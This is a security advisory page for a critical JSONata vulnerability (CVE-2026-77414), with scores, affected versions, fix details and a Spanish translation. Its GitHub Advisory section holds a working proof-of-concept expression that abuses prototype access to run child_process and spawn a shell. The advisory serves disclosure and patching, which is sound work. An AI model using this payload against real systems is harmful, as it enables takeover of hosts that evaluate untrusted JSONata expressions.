9.3critical
JSONata: Arbitrary Code Execution via crafted JSONata expressions
- Severity
- 9.3critical CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.43% (higher than 39% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-2943-5xfg-gq5f
Description
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| jsonata-js jsonata | < 1.8.8, >= 2.0.0, < 2.2.1 | CVE List |
| jsonata (npm) | from 2.0.0 before 2.2.1, before 1.8.8 | GitHub Advisory Database |
All scores
| GitHub_M | 9.3critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| GitHub | critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
GitHub Advisory Database
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
NVD (es)
JSONata es un lenguaje de consulta y transformación de JSON. Antes de 1.8.8 y 2.2.1, la función environment.lookup de src/jsonata.js utilizaba una comprobación de hasOwnProperty que podía ser eludida. Expresiones manipuladas podían usar $hasOwnProperty, $spread, $string, acceso a prototipos y $constructor para alcanzar el prototipo del objeto e invocar process.getBuiltinModule con child_process, ejecutando código arbitrario con los privilegios del proceso anfitrión. Este problema está corregido en las versiones 1.8.8 y 2.2.1.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-77414 changed 2026-08-26 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-2943-5xfg-gq5f changed 2026-08-21 | CC-BY-4.0 |
| NVD | CVE-2026-77414 changed 2026-10-12 | Public domain |